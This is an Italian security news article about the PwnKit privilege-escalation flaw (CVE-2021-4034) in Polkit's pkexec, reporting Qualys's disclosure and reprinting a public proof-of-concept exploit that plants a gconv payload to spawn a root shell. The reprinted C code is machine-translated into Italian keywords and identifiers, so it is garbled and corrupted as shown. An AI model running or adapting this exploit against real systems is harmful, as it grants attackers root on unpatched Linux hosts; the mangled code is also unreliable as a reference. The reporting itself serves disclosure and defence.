Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Condividi la tua difesa. Incoraggia l'eccellenza.
La vera forza della cybersecurity risiede
nell'effetto moltiplicatore della conoscenza.
PwnKit: il bug universale su Linux di privilege escalation, vecchio di 12 anni.

PwnKit: il bug universale su Linux di privilege escalation, vecchio di 12 anni.

10 Febbraio 2022 08:41

Una vulnerabilità nel componente pkexec di Polkit identificato come CVE-2021-4034 (PwnKit) è stata scoperta dal team di ricerca di Qualys, ed è presente nella configurazione predefinita di tutte le principali distribuzioni Linux e può essere sfruttata per ottenere privilegi di root completi sul sistema, avvertono oggi i ricercatori.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

Parte del framework dell’applicazione open source Polkit che negozia l’interazione tra processi privilegiati e non privilegiati, pkexec consente a un utente autorizzato di eseguire comandi come un altro utente.

Il corretto sfruttamento di questa vulnerabilità consente a qualsiasi utente senza privilegi di ottenere i privilegi di root sull’host vulnerabile. I ricercatori sulla sicurezza di Qualys sono stati in grado di verificare in modo indipendente la vulnerabilità, sviluppare un exploit e ottenere i privilegi di root completi sulle installazioni predefinite di Ubuntu, Debian, Fedora e CentOS.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

Altre distribuzioni Linux sono probabilmente vulnerabili e probabilmente sfruttabili. Questa vulnerabilità è stata nascosta per oltre 12 anni e interessa tutte le versioni di pkexec dalla sua prima versione nel maggio 2009 (commit c8c3d83).

Non appena il team di ricerca ha confermato la vulnerabilità, Qualys si è impegnata nella divulgazione responsabile e si è coordinata con i fornitori e le distribuzioni open source per annunciare la vulnerabilità. Guarda questo video di un potenziale percorso di exploit.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
https://player.vimeo.com/video/669715589?h=3bf67eea45&title=0&byline=0&portrait=0&playsinline=0&autopause=0&app_id=122963

A quanto pare, è già emerso un exploit, a meno di tre ore dalla pubblicazione dei dettagli tecnici di PwnKit da parte di Qualys.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

BleepingComputer ha compilato e testato l’exploit disponibile, che si è rivelato affidabile in quanto ci ha fornito i privilegi di root sul sistema in tutti i tentativi.

/*
 * blasty-vs-pkexec.c -- di blasty <[email protected]> 
 *------------------------------------------------
 * PoC per CVE-2021-4034, grida a Qualys
 *
 * exploit di qualità ctf
 *
 * bla bla divulgazione irresponsabile
 *
 * -- esplosivo // 25-01-2022
 */
#include <stdio.h>
#include <stdlib.h>
#include <stringa.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
void fatal(char *f) {
    errore(f);
    uscita(-1);
}
void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    se (f == NULLA) {
        fatale("fopen");
    }
    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        " ritorno;\n"
        "}\n"
        "void gconv_init() {\n"
        " setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        " carattere statico *a_argv[] = { \"sh\", NULL };\n"
        " carattere statico *a_envp[] = { \"PERCORSO=/bin:/usr/bin:/sbin\", NULL };\n"
        " execve(\"/bin/sh\", a_argv, a_envp);\n"
        " uscita(0);\n"
        "}\n";
    fwrite(così_codice, strlen(così_codice), 1, f);
    fclose(f);
    system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    carattere *a_envp[]={
        "LOL",
        "PERCORSO=GCONV_PERCORSO=.",
        "LC_MESSAGES=it_US.UTF-8",
        "XAUTHORITY=../LOL",
        NULLO
    };
    printf("[~] aiutante per la compilazione..\n");
    compile_so();
    if (stat("PERCORSO_GCONV=.", &st) < 0) {
        if(mkdir("GCONV_PATH=", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        se (fd < 0) {
            fatale("aperto");
        }
        chiudere(fd);
    }
    se (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        se(fp == NULLO) {
            fatale("fopen");
        }
        fprintf(fp, "modulo UTF-8// INTERNO ../carico utile 2\n");
        fclose(fp);
    }
    printf("[~] forse ottieni la shell ora?\n");
    execve("/usr/bin/pkexec", a_argv, a_envp);
}

test svolto da Bleeping computer su Ubuntu

Riferendosi all’exploit, l’analista di vulnerabilità CERT/CC Will Dormann ha affermato che è sia semplice che universale. Il ricercatore lo ha ulteriormente testato su un sistema ARM64, dimostrando che funziona anche su quell’architettura.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

Qualys ha segnalato il problema di sicurezza in modo responsabile il 18 novembre 2021 e ha atteso che una patch diventasse disponibile prima di pubblicare i dettagli tecnici di PwnKit .

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Massimiliano Brolli 300x300
Responsabile del RED Team di una grande azienda di Telecomunicazioni e dei laboratori di sicurezza informatica in ambito 4G/5G. Ha rivestito incarichi manageriali che vanno dal ICT Risk Management all’ingegneria del software alla docenza in master universitari.
Aree di competenza: Bug Hunting, Red Team, Cyber Threat Intelligence, Cyber Warfare e Geopolitica, Divulgazione

Articoli in evidenza

Immagine del sitoInnovazione
L’IA non chiede il permesso: sta riscrivendo le regole in fretta e probabilmente male
Massimiliano Brolli - 29/01/2026

L’intelligenza artificiale è entrata nel lavoro senza bussare. Non come una rivoluzione urlata, ma come una presenza costante, quasi banale a forza di ripetersi. Ha cambiato il modo in cui le persone lavorano, sì, ma…

Immagine del sitoCybercrime
Attenzione al “I am not a robot”: la trappola malware che usa Google Calendar
Bajram Zeqiri - 29/01/2026

Una nuova minaccia si aggira, usando la nostra più grande debolezza: l’abitudine. Quante volte, infatti, capita di ritrovarsi a cliccare su caselle di verifica senza pensarci due volte? Ora, pare che i malintenzionati abbiano creato…

Immagine del sitoCybercrime
WinRAR come arma: Google scopre una falla sfruttata da APT e cybercriminali
Bajram Zeqiri - 29/01/2026

La falla di sicurezza in WinRAR, emersa durante la scorsa estate, ha mostrato una diffusione maggiore rispetto alle aspettative. Diverse organizzazioni, sia criminali comuni che gruppi APT finanziati da nazioni, stanno sfruttando attivamente questa vulnerabilità,…

Immagine del sitoCybercrime
Colpo al cuore del cybercrime: RAMP messo offline. Il “tempio” del ransomware cade!
Bajram Zeqiri - 28/01/2026

Il forum RAMP (Russian Anonymous Marketplace), uno dei principali punti di riferimento del cybercrime underground internazionale, è stato ufficialmente chiuso e sequestrato dalle forze dell’ordine statunitensi. La notizia è emersa dopo che il dominio associato…

Immagine del sitoDiritti
La privacy è morta? No, ma è in coma! Cosa celebriamo davvero oggi 28 gennaio
Silvia Felici - 28/01/2026

Oggi è il 28 gennaio e, come ogni anno da un bel po’ di tempo a questa parte, ci ritroviamo a celebrare la Giornata europea della protezione dei dati. È una roba che nasce nel…